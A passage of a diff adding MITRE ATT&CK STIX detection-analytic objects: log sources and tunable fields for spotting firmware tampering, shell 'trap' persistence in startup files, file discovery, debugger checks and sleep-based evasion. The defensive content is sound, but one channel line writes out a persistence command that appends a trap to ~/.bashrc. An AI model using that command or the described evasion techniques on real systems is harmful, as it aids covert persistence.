"EventCode=4016,5312" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetObject", + "description": "Path to network-based script execution; tuning required for environment-specific network shares." + }, + { + "field": "ParentProcessName", + "description": "Initial execution process that launches the script; may vary depending on script language or user context." + }, + { + "field": "TimeWindow", + "description": "Acceptable time window to correlate Group Policy update with script execution (e.g., 2\u201310 minutes)." + }, + { + "field": "UserContext", + "description": "Account initiating execution; useful for filtering known administrative activity." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8ba8d516-486a-4347-9a48-56a312e83897", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0368#AN1035", + "external_id": "AN1035" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1035", + "description": "Detects tampered hardware or firmware via anomalous host status telemetry. Behavioral chain: (1) Pre-OS or firmware components exhibit unexpected version changes, signature failures, or modified boot paths; (2) System management/firmware tools log hardware inventory drift; (3) Sensor health telemetry or boot attestation events fail baseline checks; (4) Follow-on process execution from altered firmware or unknown drivers after boot.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "WinEventLog:Security", + "channel": "EventCode=1166, 7045" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational", + "channel": "Code integrity violations in boot-start drivers or firmware" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=6" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BaselineFirmwareVersion", + "description": "Expected firmware/BIOS version for each hardware model." + }, + { + "field": "BaselineDriverList", + "description": "Approved boot-start drivers." + }, + { + "field": "IntegrityCheckInterval", + "description": "Frequency of integrity checks (e.g., daily, weekly)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1c25310b-d8fa-472d-a10e-c327a8fba693", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0368#AN1036", + "external_id": "AN1036" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1036", + "description": "Monitors for hardware or firmware tampering by correlating system boot logs, hardware inventory changes, and secure boot/firmware verification failures. Behavioral chain: (1) UEFI/BIOS version drift; (2) secure boot disabled or signature verification errors; (3) unexpected modules or hardware devices enumerated at boot; (4) new device firmware images loaded from non-approved sources.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "auditd:SYSCALL", + "channel": "firmware_update, kexec_load" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "fwupd:logs", + "channel": "Firmware updates applied or failed" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ApprovedFirmwareHashes", + "description": "List of SHA256/SHA512 firmware hashes allowed." + }, + { + "field": "AllowedDeviceIDs", + "description": "Known hardware component IDs per host baseline." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0834f268-5810-4a90-8ef6-279dc0482471", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0368#AN1037", + "external_id": "AN1037" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1037", + "description": "Detects tampered Mac hardware/firmware by analyzing unified logs, EndpointSecurity events, and Apple Mobile File Integrity (AMFI) checks. Behavioral chain: (1) Boot process reports firmware signature mismatch; (2) Secure Boot policy altered; (3) new EFI drivers or hardware devices appear in inventory; (4) system extension loads from unapproved developer IDs post-boot.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "macos:unifiedlog", + "channel": "EFI firmware integrity check failed" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "macos:endpointsecurity", + "channel": "es_event_authentication" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedTeamIDs", + "description": "Developer Team IDs approved for kext/system extension loads." + }, + { + "field": "FirmwareVersionBaseline", + "description": "Expected EFI/firmware version for Mac model." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d1d19568-2b59-4d44-9744-22d7304d2200", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0369#AN1038", + "external_id": "AN1038" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1038", + "description": "Correlate file modifications in shell startup scripts (e.g., .bashrc, .profile) with embedded `trap` commands and observe if those changes are followed by the unexpected execution of child processes when terminal signals (e.g., SIGINT) are triggered. Use contextual linking with user session activity to detect privilege misuse.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "Modification of user shell profile or trap registration via echo/redirection (e.g., echo \"trap 'malicious_cmd' INT\" >> ~/.bashrc)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetShellFilePath", + "description": "The path to user profile scripts (e.g., ~/.bashrc, ~/.zshrc); may differ by distro or shell type." + }, + { + "field": "SignalTrapName", + "description": "Trap signal (e.g., INT, HUP, TERM) can be environment-specific or attacker-tuned to evade." + }, + { + "field": "TimeWindow", + "description": "Temporal threshold to correlate trap insertion and process execution (e.g., 10s-5min)" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--99c42b1f-1716-413b-8c23-5f7e1d997ab2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0369#AN1039", + "external_id": "AN1039" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1039", + "description": "Detect unauthorized `trap` command registrations in shell startup files (e.g., .zprofile, .bash_profile, .zshrc) followed by execution chains during user terminal interaction. Use Unified Logs and EDR telemetry to correlate shell command parsing and process tree anomalies.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Command line containing `trap` or `echo 'trap` written to login shell files" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "File write or append to .zshrc, .bash_profile, .zprofile, etc." + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "LoginShellConfigPaths", + "description": "Startup files vary by shell (.bash_profile, .zshrc, etc.)" + }, + { + "field": "TrapCommandLengthThreshold", + "description": "Short benign traps may differ from longer/multi-command malicious traps" + }, + { + "field": "ParentProcessAnomalyThreshold", + "description": "Score or detect if new child process deviates from shell\u2019s typical behavior" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--69d9d158-aa43-4b73-b9a4-f1a2dc6c13c1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0370#AN1040", + "external_id": "AN1040" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1040", + "description": "Execution of file enumeration commands (e.g., 'dir', 'tree') from non-standard processes or unusual user contexts, followed by recursive directory traversal or access to sensitive locations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLineRegex", + "description": "Allows tuning based on tools/scripts used for enumeration (e.g., tree, dir /s /b)" + }, + { + "field": "UserContext", + "description": "Scoping for standard vs elevated or service accounts" + }, + { + "field": "TimeWindow", + "description": "Defines burst activity over short periods (e.g., >50 directory queries in 30s)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b50bf863-644a-48c2-85a3-2c633f135650", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0370#AN1041", + "external_id": "AN1041" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1041", + "description": "Use of file enumeration commands (e.g., 'ls', 'find', 'locate') executed by suspicious users or scripts accessing broad file hierarchies or restricted directories.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:PATH", + "channel": "PATH" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FilePathDepth", + "description": "Max depth of recursive access to tune noise vs anomaly" + }, + { + "field": "UserContext", + "description": "Helpful to exclude known scripts or automation accounts" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--42683860-d6df-4585-af65-31f783269f8f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0370#AN1042", + "external_id": "AN1042" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1042", + "description": "Execution of file or directory discovery commands (e.g., 'ls', 'find') from terminal or script-based tooling, especially outside normal user workflows.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "log collect --predicate" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "fs:fsusage", + "channel": "Filesystem Call Monitoring" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PredicateScope", + "description": "Adjust macOS unified log filter to include/exclude system paths" + }, + { + "field": "TimeWindow", + "description": "Tune based on burst access patterns" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--aaddc766-52bb-428b-98c4-3a742d10befa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0370#AN1043", + "external_id": "AN1043" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1043", + "description": "Execution of esxcli commands to enumerate datastore, configuration files, or directory structures by unauthorized or remote users.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:shell", + "channel": "Shell Access/Command Execution" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "esxi:hostd", + "channel": "vSphere File API Access" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CLICommandPattern", + "description": "Match on esxcli storage|filesystem commands" + }, + { + "field": "AccessSource", + "description": "Limit alerting to non-vCenter or remote IPs" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--be6e5f23-0e29-430f-83f7-d76c58de3a2d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0370#AN1044", + "external_id": "AN1044" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1044", + "description": "Execution of file discovery commands (e.g., 'dir', 'show flash', 'nvram:') from CLI interfaces, especially by unauthorized users or from abnormal source IPs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:syslog", + "channel": "CLI Command Logging" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandWhitelist", + "description": "Filter allowed commands by account or IP" + }, + { + "field": "SessionOrigin", + "description": "Tunable to restrict detection to remote terminal or Telnet/SSH" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d5f0b652-3699-45af-97e6-81e7426558bd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0371#AN1045", + "external_id": "AN1045" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1045", + "description": "Monitor for suspicious use of Windows API calls such as IsDebuggerPresent() and NtQueryInformationProcess(), or processes manually checking the BeingDebugged flag in the Process Environment Block (PEB). Detect sequences of OutputDebugStringW() calls in short intervals that may indicate debugger flooding attempts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "NtQueryInformationProcess" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ApiCallFrequencyThreshold", + "description": "Number of repeated debug-related API calls allowed before raising an alert" + }, + { + "field": "ProcessAllowList", + "description": "Legitimate debuggers or developer tools that may trigger similar behaviors" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e4a9dd91-3354-40c8-a55c-941d53f2ddec", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0371#AN1046", + "external_id": "AN1046" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1046", + "description": "Monitor access to /proc/self/status where TracerPID field is queried, as this is a common technique for debugger detection. Detect processes that attempt to trigger exceptions intentionally and monitor whether exception handling indicates presence of a debugger.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open/read: Access to /proc/self/status with focus on TracerPID field" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredPaths", + "description": "Set of /proc paths to monitor for suspicious access" + }, + { + "field": "SyscallThreshold", + "description": "Rate of syscalls (open/read) used to detect repeated probing for debug artifacts" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c78d2e09-07d7-48ef-add1-bde622e502a2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0371#AN1047", + "external_id": "AN1047" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1047", + "description": "Detect suspicious calls to sysctl or ptrace API used to determine if a process is being debugged. Monitor for processes that flood OutputDebugString equivalents or generate abnormal exceptions to evade analysis.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "macos:unifiedlog", + "channel": "ptrace: Processes invoking ptrace with PTRACE_TRACEME flag" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PtraceInvocationThreshold", + "description": "Number of ptrace calls in a time window that should raise suspicion" + }, + { + "field": "DevToolExclusionList", + "description": "Exclude known developer tools and monitoring agents" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--28e26a6a-e470-4f1c-845f-f2cbd816a1f7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0372#AN1048", + "external_id": "AN1048" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1048", + "description": "Correlated use of sleep/delay mechanisms (e.g., kernel32!Sleep, NTDLL APIs) in short-lived processes, combined with parent processes invoking suspicious scripts (e.g., wscript, powershell) with minimal user interaction.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Delay duration that distinguishes benign scripts from evasive behavior." + }, + { + "field": "ParentProcessName", + "description": "Legitimate parent-child combinations may differ across environments." + }, + { + "field": "SleepFunctionPattern", + "description": "Different APIs may be used to invoke sleep (e.g., Sleep, NtDelayExecution)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--dcc422d4-90fc-4e2a-afd5-b4fbc3d6c4a1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0372#AN1049", + "external_id": "AN1049" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1049", + "description": "Shell scripts or binaries invoking repeated 'sleep', 'ping', or low-level syscalls (e.g., nanosleep) in short-lived execution chains with no user or system interaction. Frequently seen in malicious cron jobs or payload stagers.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve or nanosleep with no stdout/stderr I/O" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "auditd:PROCTITLE", + "channel": "scripting loop invoking sleep/ping" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLineRegex", + "description": "Environment-specific delay scripts may vary (sleep 300, ping -n 60, etc.)." + }, + { + "field": "TimeBetweenSyscalls", + "description": "Threshold for determining if delay is artificially extended." + }, + { + "field": "UserContext", + "description": "Root vs. service user context alters risk profile." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--94871740-e9ae-458a-9d09-ef0f58c05905", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0372#AN1050", + "external_id": "AN1050" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1050", + "description": "Execution of AppleScript, bash, or launchd jobs that invoke delay functions (e.g., sleep, delay in AppleScript) with limited parent interaction and staged follow-on commands.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "launchd or osascript spawns process with delay command" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "macos:unifiedlog", + "channel": "delay/sleep library usage in user context" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ScriptPattern", + "description": "AppleScript vs shell scripts differ per threat and org." + }, + { + "field": "UserContext", + "description": "Execution under user vs daemon context changes severity." + }, + { + "field": "DelayDurationThreshold", + "description": "Amount of delay that distinguishes benign usage vs evasion." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--25bd8222-a9c0-4771-8250-7d6ce7b2d176", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + 